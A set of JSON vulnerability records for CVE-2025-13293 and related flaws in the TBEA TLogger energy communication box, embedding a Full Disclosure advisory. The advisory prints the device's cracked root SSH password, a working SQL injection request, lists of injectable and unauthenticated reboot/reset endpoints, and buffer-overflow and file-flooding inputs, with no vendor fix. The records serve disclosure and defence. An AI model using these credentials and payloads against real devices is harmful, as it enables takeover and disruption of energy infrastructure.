{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
          "vendor": "TBEA",
          "versions": [
            {
              "lessThanOrEqual": "V2.1.0.0B0.0.0.0",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "office@cyberdanube.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device."
    }
  ],
  "id": "CVE-2025-13293",
  "lastModified": "2026-09-03T16:41:09.297",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "office@cyberdanube.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-13293",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-12T18:05:40.823114Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-10T20:17:23.493",
  "references": [
    {
      "source": "office@cyberdanube.com",
      "url": "https://en.tbea.com/about.html"
    }
  ],
  "sourceIdentifier": "office@cyberdanube.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-798"
        }
      ],
      "source": "office@cyberdanube.com",
      "type": "Secondary"
    }
  ]
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
          "vendor": "TBEA",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-------------------------------------------------------------------------------\ntitle| Multiple Vulnerabilities in TBEA TLogger\nproduct| TBEA TLogger (TBEA Communication Box 3rd Generation)\nvulnerable version| V2.1.0.0B0.0.0.0\nfixed version| -\nCVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,\n| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683\nimpact| Critical\nhomepage| https://www.tbea.com/\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"TBEA, a group committed to \u201cgreen and low-carbon development\u201d, is a pioneer in\nglobal energy-efficient power transmission and distribution, and a\nindustry-leading service provider of clean energy solutions.\"\nSource: https://en.tbea.com/about.html\nVulnerable versions\n-------------------------------------------------------------------------------\nTBEA TLogger / V2.1.0.0B0.0.0.0\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nThe TLogger exposes SSH to the network. This SSH service also allows root\nlogin on the device. By cracking the hash from the file \u0027/etc/shadow\u0027 it was\npossible to recover the password.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nThe webserver accepts unauthenticated request that trigger SQLite Queries from\nthe CCU.db, these request are vulnerable the SQL injections. An attacker can\nmodify, read and delete data this way.\n3) Information Disclosure via UART (CVE-2025-15680)\nThe UART interface is exposed on the circuit board. A physical attacker can use\nthe interface to observer the boot procedure and get valuable debug information\nfrom the system via this way.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe authentication of the webserver was implemented in an insufficient way. A\nuser can bypass the login via browsing to another endpoint of the system.\nThis is only possible if any user was logged into the device previously.\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nThe webserver accepts a unauthenticated PUT request that create files\ncontaining user specified data in /opt/myapp/webserver/.\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nThe webserver can be put in denial of service conditions by accessing to\nspecific endpoints. These endpoints do not require any previous authentication.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nBy reading out the file /etc/shadow, the hash of the user root gets exposed:\nroot:aH8eS1ufCL7xY:17464:0:99999:7:::\nThe cracked password is: tbea1234\nThis can be used to login as root user via SSH to the device.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nBy sending a request where one of the parameters contains a URL encoded SQL\ninjection you can modify the output from the query:\n~\nGET /action/DayCapacity?\u0026date=\"1\u0027+OR+1%3d1%3b--\" HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n~\nThis happens because the value of date is added to the query string without any\nparsing or validation:\n~\nchar* r0_5 = websGetVar(wp_1, \"date\", 0x963a4, \u0026wp_1)\nsprintf(\u0026var_5cc, \"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \", r0_5,\n\"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \")\nstrcat(\u0026sql, \u0026var_5cc)\n~\nThe same method is used through out the webserver. Therefore, multiple \"action\"\nendpoints that are prone to the SQL injection vulnerability:\nSelects:\n\n  *\nDayCapacity\n  *\nMonthCapacity\n  *\nYearCaparity\n  *\nrecordData\n  *\nInvHistoryData (\u0026index\u003e=1000)\n  *\nCollectHistoryData\n  *\nInvFaultData (\u0026index\u003e=100)\n  *\nGetPortTableByParm\n  *\nGetDicTransmit\n  *\nGetDicDataPoint\n  *\nGetXMLConfigByIPAndTypeCode\n  *\nGetDicDataPointByInfo\n  *\nGetstation_data\n  *\nGetcustom_data\n  *\nGetXmlSgnalConfig\n  *\ngetTrackParaData\nDeletes:\n  *\nDeletePortTable1_4ByParm\n  *\nDeleteHostIP_configByIp\n  *\nDeleteIP_configByIp\n  *\nDeleteDicTransmit\n  *\nDeleteDicDataPoint\n  *\nXMLInfoInDb\n\n3) Information Disclosure via UART (CVE-2025-15680)\nTwo pins on the backside of the TLogger PCB can be used to gain UART access.\nBy attaching a UART-to-USB serial converter, the following system startup can\nbe observed:\n~\nU-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)\nCPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)\nCPU: Temperature 32 C\nReset cause: POR\nBoard: EPC-M6Y2C\nWatchdog enabled\nDRAM: 256 MiB\nNAND: 256 MiB\nMMC: FSL_SDHC: 0\nIn: serial\nOut: serial\nErr: serial\nNet: FEC1\nNormal Boot\nHit \u0027zlg\u0027 to stop autoboot: 2 1 0\n[...]\nIPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\nifconfig: SIOCSIFFLAGS: Operation not permitted\n/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can\u0027t create\n/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied\nset file system rw start\nset file system rw end\n/sbin:/usr/sbin:/bin:/usr/bin\n/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin\n/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -\n4.8.6/plugins/imageformats:/usr/local/tslib/lib:\nmain() start.\n--------------------\nSystem: system start to run...\n[...]\ndebug IP=192.168.1.253\nroute: SIOCADDRT: File exists\nwebserver: 2: Configuration for Embedthis webserver\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Version: V2.1.0.0B0.0.0.0\nwebserver: 2: BuildType: Debug\nwebserver: 2: CPU: arm\nwebserver: 2: OS: linux\nwebserver: 2: Host: 192.168.2.253\nwebserver: 2: Directory: /opt/myapp/webserver\nwebserver: 2: Documents: web\nwebserver: 2: Configure: me -d -q -platform windows-x86-default -\nconfigure . -without ssl -gen vs\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Started http://:80\n~\nSuch details and the resulting debug capabilities enable a physical attacker to\ndebug the device effectively during runtime.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe webserver of the TLogger required to be logged in to the application for\nadministrating the device. If a user has been authenticated correctly in a\nprevious session, it was possible for a malicious actor to browse to the\nendpoint \"/index.asp\", and bypass the login process completely. The root cause\nis suspected to be a memory management issue within the webserver daemon itself.\nAn attacker can not see its user name as there are just memory residue, which\nare displayed instead of admin. If such an unauthenticated-but-authenticated\nuser logs out, the webserver crashes.\n\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nBy sending a PUT request to the endpoint \"/tmp/\", the webserver creates the\nfile \"/opt/myapp/webserver/put-0.tmp\" containing the data from the request\nbody. Every subsequent request will create a new file e.g. \"put-1.tmp\":\n~\nPUT /tmp/ HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\nContent-Length: 22\nUSERSPECIFIED DATA\n~\nThese file aren\u2019t deleted automatically, leading to a memory resource\nexhaustion. This issue occurs because the webserver attempts to move the\ngenerated \"put-1.tmp\" file into \"/opt/myapp/webserver/web/tmp/\". However, the\n\"web/tmp/\" directory does not exist.\n\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nDifferent DoS conditions can be triggered via the webserver on the device.\nUnauthenticated DoS Actions:\nThe webserver allows for multiple unauthenticated /action calls that result in\na DoS:\n\n  *\n/action/onRestart - Triggers a reboot\n  *\n/action/onReset - Sets FLAG_RECREATE followed by reboot\n  *\n/action/ClearData - Sets FLAG_CLEARDATA\n  *\n/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver\n\nUnauthenticated DoS via Buffer Overflow\nMultiple /action calls, when sent with certain parameters, result in a Segfault\nof the Webserver because of a buffer overflow. This happens because the typical\nmethod to assemble the queries is sprintf() and strcat() without any length\nchecks.\nVulnerable action calls:\n\n  *\n/action/getIndiaRPData index=\u201d1\u2019--aaaabaaacaaadaaaeaaafa\u201d type=1D\n  *\n/action/YearCaparity date=\u2019A\u2019300\n  *\n/action/TotalfaultData startDate=\u2019A\u2019300\n  *\n/action/recordData startDate=\u2019A\u2019300\n  *\n/action/InvHistoryData index\u003e=1000 startDate=\u2019A\u2019300\n  *\n/action/CollectHistoryData startDate=\u2019A\u2019300\n  *\n/action/InvFaultData index\u003e=100 startDate=\u2019A\u2019300\n  *\n/action/GetPortTableByParm port=\u0027A\u00272000\n  *\n/action/UpdatePortConfig port=\u0027A\u00272000\n\nSolution\n-------------------------------------------------------------------------------\nNone.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network and physical access to the device. The component should only\nbe operated in an encapsulated/air-gapped environment.\n\nRecommendation\n-------------------------------------------------------------------------------\nImplement a customized action plan in advance, if the product should be\nintegrated in the infrastructure.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-01-07: Contacted Austrian Energy CERT\n2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com\nregarding potential vulnerabilities.\n2026-01-22: Contact attempt via LinkedIn with alleged \"International Business\nManager at TBEA\".\n2026-01-22: Attempted to get contact addresses via other european CERTs.\n2026-01-22: Attempted to get contact addresses via Energy ISAC.\n2026-04-27: Sent initial findings regarding CVE-2025-13293 and\nCVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.\n2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,\nCVE-2025-15682 and CVE-2025-15683 to generic mailbox\ntbeaoffice[@]tbea[.]com.\n2026-08-10: Advisory publication.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/82"
        },
        {
          "url": "http://:80"
        },
        {
          "url": "https://en.tbea.com/about.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.tbea.com/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/82"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-13293",
              "type": "related"
            },
            {
              "destId": "CVE-2025-13294",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15680",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15681",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15682",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15683",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0381",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82",
            "automated": true,
            "contentSha256": "c9eac5e1a50dea19ad61e2d01ad80edba3199414b78ed31094c0da01cf6f1b2b",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/82",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-25T13:18:02Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0381"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0381"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-13293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T20:17:23Z",
    "severity": "CRITICAL"
  },
  "details": "A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device.",
  "id": "GHSA-8hj2-2q8g-jqhw",
  "modified": "2026-08-10T21:32:04Z",
  "published": "2026-08-10T21:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13293"
    },
    {
      "type": "WEB",
      "url": "https://en.tbea.com/about.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}